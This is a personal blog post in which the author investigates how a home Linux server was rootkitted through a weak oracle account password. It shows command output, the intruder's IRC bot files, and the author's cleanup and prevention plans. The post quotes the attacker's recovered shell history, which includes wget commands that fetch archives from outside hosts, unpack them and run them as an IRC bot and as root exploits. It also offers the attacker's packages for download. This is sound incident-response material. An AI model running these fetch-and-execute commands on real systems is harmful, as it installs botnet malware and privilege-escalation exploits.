Rootkitted: A Simple Forensics Walk Through

| | Comments (1)

I was rootkitted. It's the first time it's happened to me at home. It was my own fault for using password auth for shell access and having a weak oracle user password. I first noticed a problem when my winamp wouldn't post "now playing" songs to my website. Then I went to examine my website and it had been completely deleted by the rootkit!!

Thank god I had a backup from just a few days earlier. I immediately took the machine off the internet. Sadly, I had to let it sit for a few days until I had time to do forensics on it. In a way, this is kind of exciting stuff. I'd always mentioned to Guild that I'd like to be hacked at home. Though I wish the cracker had conformed to my hobbiest home server schedule. I also have no respect for the vandals that deleted my webpage folder. Using me as a high bandwidth zombie server would have been more sophisticated and wouldn't have tipped me off to the rootkit.

Generally, it's a good idea to run a safe copy of chkrootkit against the system. Chkrootkit gave a false positive about 'bindshell' on TCP 465 because I'm using smtp over ssl on that port. Chkrootkit otherwise didn't find the problem. So, no stock rootkits

Next, I used debsums to compare md5sums of files to their packaged originals. Kind of a poor man's tripwire. Aside from a few custom compiled things that I replaced stock debian binaries there was nothing obvious on the system. So, no trojaned binaries.

So, what the hell is going on? Let's check runtime stuff.

styx:~# lsof -i
[...]
lsof: no pwd entry for UID 1021
inetd     23579     1021    1u  IPv4 49092678  TCP 24.237.5.141:48641->undernet.irc.rcn.net:ircd (SYN_SENT)
lsof: no pwd entry for UID 1021
inetd     23579     1021    2u  IPv4 49092680  TCP 24.237.5.141:48643->oslo1.no.eu.undernet.org:ircd (SYN_SENT)
[...]
styx:~# ps -eff
[...]
#1021    23579     1  0 Mar14 ?        00:09:55 ./inetd
[...]

CRAP! There is a foreign inetd running that is connected to some euro IRC net. But it wasn't a trojaned binary!? So where the hell is the copy of inetd that the cracker ran from a PWD on my system?

When I make backups of my system I take md5 sums. This gives me a nice catalog to compare files to. You can see from the ps -eff output above that this program has been running since Mar 14. It's Apr 18th. So the hostile has been here for more than a month. So, I've been kindly backing up his rootkits. But to my advantage, now I can just look for it in my catalog.

styx:/mnt/backup# grep inetd md5sums.txt
5e9dd320d3c7fd6fbec3a81a85788002 */var/tmp/.asdqw/inetd

This cracker put some things into /var/tmp/.asdqw/. I looked around. Thankfully none of the "seen" files had any of my info in them.

styx:/var/tmp/.asdqw# ls -l
total 1541
-rw-r--r--    1 1021     matt       504618 Apr 16 14:00 Ftp.seen
-rw-r--r--    1 1021     matt          206 Mar 20 08:19 LinkEvents
-rw-r--r--    1 1021     matt       504638 Apr 16 15:50 Wget.seen
-rwxrwxrwx    1 1021     matt       504464 Feb 10 11:29 inetd
-rw-r--r--    1 1021     matt        22936 Feb 10 11:29 kswap.help
-rw-r--r--    1 1021     matt         1085 Apr 18 08:00 kswap.levels
-rw-------    1 1021     matt            6 Mar 14 07:19 kswap.pid
-rw-r--r--    1 1021     matt         1044 Apr 18 08:00 kswap.session
-rw-r--r--    1 1021     matt         1700 Mar 12 11:10 kswap.set
-rw-r--r--    1 1021     matt           91 Apr 16 15:00 mech1.users
-rw-r--r--    1 1021     matt           91 Apr 16 14:00 mech2.users
drwxr-xr-x    2 1021     matt          304 Mar 14 07:19 randfiles

So it should be relatively obvious that this bot integrates with an IRC server. Here's more indication from the inetd binary

styx:/var/tmp/.asdqw# strings inetd
[...]
I'm not on %s 
Cant fucking open %s init: 
Warning: This nick sux: %s 
Put me on some channels first punk 
Lists could not be saved to file %s 
I'm not opped on %s you asshole
[...]

Ok, lsof said no UID 1021. The cracker used some kind of fake or temp user. Check for users and groups.

styx:/var/tmp/.asdqw# cat /etc/passwd| grep 1021
styx:/var/tmp/.asdqw# cat /etc/group | grep 1021
matt:x:1021:
styx:/var/tmp/.asdqw# cat /etc/passwd | grep matt

How the hell did they get in? They logged in as my poorly protected oracle account (damnit!). Then I'm guessing they somehow setup this "matt" account then reconnected. This implies they had root or cracked equiv. They fired off some processes and deleted the matt account.

styx:/var/tmp/.asdqw# last
jim      pts/2        192.168.0.119    Mon Apr 18 09:08 - 09:08  (00:00)    
jim      pts/2        192.168.0.119    Sat Apr 16 13:40 - 13:41  (00:00)    
jim      pts/1        192.168.0.119    Sat Apr 16 13:32   still logged in   
jim      pts/0        192.168.0.119    Sat Apr 16 13:29   still logged in   
jim      pts/0        192.168.0.119    Sat Apr 16 11:47 - 11:48  (00:00)    
jim      pts/0        192.168.0.119    Thu Apr 14 18:56 - 19:00  (00:04)    
oracle   pts/0        81.242.212.87    Sat Apr  9 02:16 - 02:16  (00:00)    
root     pts/1        24.237.1.207     Tue Apr  5 10:55 - 11:27  (00:31)    
jim      pts/0        192.168.0.119    Mon Apr  4 20:36 - 11:27  (14:51)    
jim      pts/2        24.237.1.207     Sun Apr  3 22:45 - 12:23  (13:37)    
jim      pts/1        24.237.1.207     Sun Apr  3 16:17 - 23:21  (07:04)    
jim      pts/1        24.237.1.207     Sun Apr  3 00:14 - 13:11  (11:57)    
jim      pts/0        24.237.1.207     Sat Apr  2 22:51 - 12:23 (1+12:31)   
jim      pts/0        24.237.1.207     Sat Apr  2 17:30 - 17:37  (00:06)    
oracle   pts/0        81.241.195.231   Sat Apr  2 09:13 - 09:17  (00:03)    
jim      pts/0        24.237.1.207     Thu Mar 31 12:49 - 13:05  (00:15)    
oracle   pts/0        81.241.192.125   Wed Mar 30 09:28 - 09:28  (00:00)    
root     pts/0        137.229.187.59   Wed Mar 30 08:41 - 08:42  (00:00)    
root     pts/0        24.237.1.207     Tue Mar 29 21:27 - 23:04  (01:36)    
jim      pts/1        24.237.1.207     Tue Mar 29 19:20 - 19:20  (00:00)    
root     pts/0        24.237.1.207     Tue Mar 29 19:14 - 19:22  (00:08)    
jim      pts/0        24.237.1.207     Tue Mar 29 18:42 - 19:11  (00:28)    
root     pts/1        137.229.187.59   Tue Mar 29 09:14 - 09:35  (00:20)    
jim      pts/3        192.168.0.110    Mon Mar 28 18:37 - 20:48  (02:11)    
root     pts/2        24.237.1.207     Mon Mar 28 16:43 - 16:54 (1+00:11)   
root     pts/1        137.229.187.59   Mon Mar 28 15:53 - 07:33  (15:39)    
root     pts/0        24.237.1.207     Mon Mar 28 12:15 - 16:54 (1+04:38)   
jim      pts/0        192.168.0.120    Sun Mar 27 20:06 - 20:18  (00:12)    
oracle   pts/1        81.242.248.154   Sun Mar 27 01:00 - 01:01  (00:01)    
jim      pts/0        192.168.0.119    Fri Mar 25 22:20 - 10:34 (1+12:13)   
jim      pts/0        192.168.0.119    Fri Mar 25 22:15 - 22:16  (00:01)    
jim      pts/0        24.237.1.207     Fri Mar 25 07:31 - 07:35  (00:03)    
jim      pts/0        24.237.1.207     Wed Mar 23 20:29 - 20:31  (00:02)    
root     pts/0        137.229.187.59   Wed Mar 23 16:43 - 16:54  (00:10)    
jim      pts/3        137.229.187.59   Wed Mar 23 16:22 - 16:29  (00:06)    
jim      pts/0        137.229.187.59   Wed Mar 23 16:20 - 16:29  (00:09)    
root     pts/0        137.229.187.59   Wed Mar 23 16:16 - 16:16  (00:00)    
root     pts/0        137.229.187.59   Wed Mar 23 16:15 - 16:16  (00:00)    
root     pts/0        137.229.187.59   Wed Mar 23 16:15 - 16:15  (00:00)    
jim      pts/4        137.229.173.65   Wed Mar 23 13:52 - 13:52  (00:00)    
root     pts/3        24.237.1.207     Wed Mar 23 12:45 - 14:59  (02:13)    
root     pts/0        24.237.1.207     Wed Mar 23 12:28 - 14:59  (02:30)    
root     pts/7        24.237.1.207     Tue Mar 22 21:09 - 23:37  (02:28)    
root     pts/6        24.237.1.207     Tue Mar 22 21:08 - 23:37  (02:29)    
jim      pts/5        24.237.1.207     Tue Mar 22 20:30 - 23:03  (02:32)    
jim      pts/4        24.237.1.207     Tue Mar 22 19:58 - 22:28  (02:30)    
jim      pts/3        24.237.1.207     Tue Mar 22 19:56 - 22:20  (02:24)    
jim      pts/0        192.168.0.110    Tue Mar 22 19:43 - 22:04  (02:20)    
jim      pts/0        137.229.187.59   Mon Mar 21 09:52 - 10:15  (00:22)    
jim      pts/3        137.229.156.207  Mon Mar 21 07:45 - 07:49  (00:04)    
jim      pts/1        24.237.1.207     Sat Mar 19 15:08 - 18:06 (4+02:58)   
root     pts/2        24.237.1.207     Sat Mar 19 09:41 - 18:06 (4+08:25)   
root     pts/1        24.237.1.207     Fri Mar 18 22:32 - 15:08  (16:36)    
jim      pts/2        24.237.1.207     Fri Mar 18 22:14 - 22:21  (00:07)    
jim      pts/1        24.237.1.207     Fri Mar 18 22:04 - 22:25  (00:20)    
jim      pts/2        192.168.0.119    Fri Mar 18 17:42 - 20:22  (02:39)    
jim      pts/1        192.168.0.119    Fri Mar 18 12:22 - 17:41  (05:19)    
oracle   pts/2        81.242.226.172   Fri Mar 18 12:09 - 12:11  (00:01)    
matt     pts/2        81.242.226.172   Fri Mar 18 12:08 - 12:09  (00:00)    
jim      pts/1        192.168.0.119    Fri Mar 18 12:07 - 12:22  (00:14)    
root     pts/4        137.229.156.207  Thu Mar 17 11:40 - 11:40  (00:00)    
jim      pts/3        137.229.156.207  Thu Mar 17 10:37 - 15:06  (04:28)    
oracle   pts/3        81.242.224.72    Thu Mar 17 07:11 - 07:13  (00:01)    
matt     pts/3        81.242.224.72    Thu Mar 17 07:11 - 07:11  (00:00)    
jim      pts/2        24.237.1.207     Tue Mar 15 21:40 - 12:05 (2+14:25)   
jim      pts/4        137.229.170.92   Mon Mar 14 12:27 - 13:07  (00:40)    
jim      pts/3        137.229.170.92   Mon Mar 14 12:12 - 14:24  (02:11)    
jim      pts/2        137.229.170.92   Mon Mar 14 12:01 - 14:05  (02:04)    
oracle   pts/4        69.93.62.186     Mon Mar 14 07:19 - 07:19  (00:00)    
matt     pts/3        81.242.221.68    Mon Mar 14 07:18 - 07:22  (00:04)    
matt     pts/2        69.93.62.186     Mon Mar 14 07:17 - 07:19  (00:02)    
root     pts/0        24.237.1.207     Sun Mar 13 23:00 - 18:32  (19:31)    

Ok, so somebody logged in as matt right after logging in as oracle. Seems Mr. Cracker found a way to make a user account. I'd like to know how, but likely won't find out.

Here are most of the commands they ran as oracle user. Basically, they scoped out the users, programs and services. Tried a couple of different rootkits

w
ps x
cd /var/tmp/.asdqw
./inetd
exit
w
cd /var/tmp;wget http://lam3rs.webcindario.com/apache.zip
unzip apache.zip
rm -rf apache.zip
cd apache
chmod 777 apache;./apache
exit
lsnrctl stop
exit
w
id
ps x
ps aux
exit
passwd
exit
w
uname -a
cd /vartmp;ls
cd /var/tmp;ls
cd apache
ls
rm -rf apache
wget http://Hooligam.sytes.net/Hooligam/lg.tar.gz
tar zxvf lg.tar.gz
tar xvf lg.tar
cd ...
./root
./r00t
cd ..
ls
rm -rf ...
exit
w
ps x
cd /var/tmp;wget http://lam3rs.webcindario.com/apache.zip;unzip apache.zip;cd apache;chmod 777 apache;./apache
rm -rf apache
rm -rf apache.zi
exit
passwd
exit

If you read that closely you noticed they put some other things (apache.zip, ...) in /var/tmp. Apache.zip isn't really apache. It's an IRC bot. The '...' folder is a custom copy of the apache webserver. Also note a funked up folder called '...'. This is all in addition to the /var/tmp/.asdqw directory that contained the dirty inetd daemon.

styx:/var/tmp# cd apache
styx:/var/tmp/apache# ls -l
total 2140
-rw-r--r--    1 10004    users       34700 Sep 26  2003 CHANGES
-rw-r--r--    1 10004    users       17982 Mar 25  2001 COPYING
-rw-r--r--    1 10004    users        3560 Jul 25  2003 FAQ
-rw-r--r--    1 10004    users        2137 Sep 26  2003 Makefile
-rw-r--r--    1 10004    users       35624 Jul 26  2003 README
-rw-r--r--    1 10004    users       15738 Jul 15  2001 SCRIPTING
-rw-r--r--    1 10004    users        1618 Sep 26  2003 TODO
-rw-r--r--    1 10004    users         916 Nov  9  2003 config.h
drwxr-xr-x    2 10004    users        7872 Apr  9 02:16 help
drwxr-xr-x    2 10004    users         168 Apr  9 02:16 lang
-rw-r--r--    1 10004    users     1413120 Sep 20  2004 lg.tar
-rw-r--r--    1 10004    users      598226 Apr  2 08:58 lg.tar.gz
drwxr-xr-x    2 10004    users          72 Apr  9 02:16 log
-rw-r--r--    1 10004    users         731 Nov  9  2003 makefile.out
-rw-r--r--    1 10004    users       14090 Nov  9  2003 makesalt
drwxr-xr-x    3 10004    users         360 Apr  9 02:16 menuconf
drwxr-xr-x    2 10004    users          72 Apr  9 02:16 motd
-rw-r--r--    1 10004    users         101 Nov  9  2003 psybnc.conf
-rw-r--r--    1 10004    users         369 Aug  8  2000 psybncchk
-rw-r--r--    1 10004    users        1249 Nov  9  2003 salt.h
drwxr-xr-x    3 10004    users          96 Apr  9 02:16 scripts
-rw-r--r--    1 10004    users        3901 Jan 12  2002 targets.mak
drwxr-xr-x    2 10004    users         576 Apr  9 02:16 tools
styx:/var/tmp/apache# cd ..
styx:/var/tmp/...# cd ...
styx:/var/tmp/...# ls -l
total 160
-rw-rw-rw-    1 cvs      cvs         14652 Apr 25  2002 73501867.c
-rwxrwxrwx    1 cvs      cvs         15082 Jul  3  2004 77
-rwxrwxrwx    1 cvs      cvs         10622 Jul  3  2004 85
-rw-rw-rw-    1 cvs      cvs          7636 Nov 21  2003 85mod_gzip.c
-rw-rw-rw-    1 cvs      cvs          1511 Jul 27  2003 UHAGr-dialogx.c
-rw-rw-rw-    1 cvs      cvs          5567 Jan  8  2003 UHAGr-pr00t.c
-rw-rw-rw-    1 cvs      cvs          6593 Jan  8  2003 UHAGr-ptrace.c
-rwxrwxrwx    1 cvs      cvs          6296 Jul  2  2004 dia
-rwxrwxrwx    1 cvs      cvs          5137 Jul  3  2004 frs
-rw-rw-rw-    1 cvs      cvs          1674 Jun 21  2004 frstorex.c
-rwxrwxrwx    1 cvs      cvs          2648 Jul  3  2004 kk
-rw-rw-rw-    1 cvs      cvs          5181 Aug  3  2002 kstatpb.c
-rwxrwxrwx    1 cvs      cvs         20411 Jul  3  2004 mod
-rw-rw-rw-    1 cvs      cvs         12482 Jul 30  2003 modmyloex.c
-rwxrwxrwx    1 cvs      cvs          8634 Jul  2  2004 pw
-rwxrwxrwx    1 cvs      cvs          7651 Jul  2  2004 up

What am I going to do about it?

  1. Clean out the rootkit. Including, folders and users.
  2. fix the oracle user. I'm done with my oracle project. I deleted the user.
  3. change all passwords
  4. Cross fingers. Hope I'm as smart as I think and that I really beat this thing.

What will I do to prevent it? What about minimizing risk of loss?

  1. Use only public key auth in lieu of password auth
  2. Clean up some other suspect holes; like mysql listening on net and webdav enabled in apache
  3. Keep backups for a little longer. So I want historical copies up to a year back. I also want to use incrementals so the history is pretty small.
  4. Have some read-only forensic tools tucked in a corner in case binaries are replaced.

This is the first problem I've had from intruders. I'm quite relieved to know that it was user error that caused the breech rather than software deficiency. That gives me a certain amount of faith in my system. I consider myself very lucky that this was kind of a half-assed rootkit. I'm also lucky that the cracker or botnet was really busy and didn't have time to mess with things for the month I was breached. I'm also lucky I had a very recent backup of my webpage. Conclusions? I was lucky.

I've included the packages the cracker used here for educational purposes.

  1. DotDotDot.tar.gz
  2. apache.zip
  3. asdqw.tar.gz

1 Comments

James Conner suggests looking for kernel modules and auditing startup/init scripts from a knoppix boot.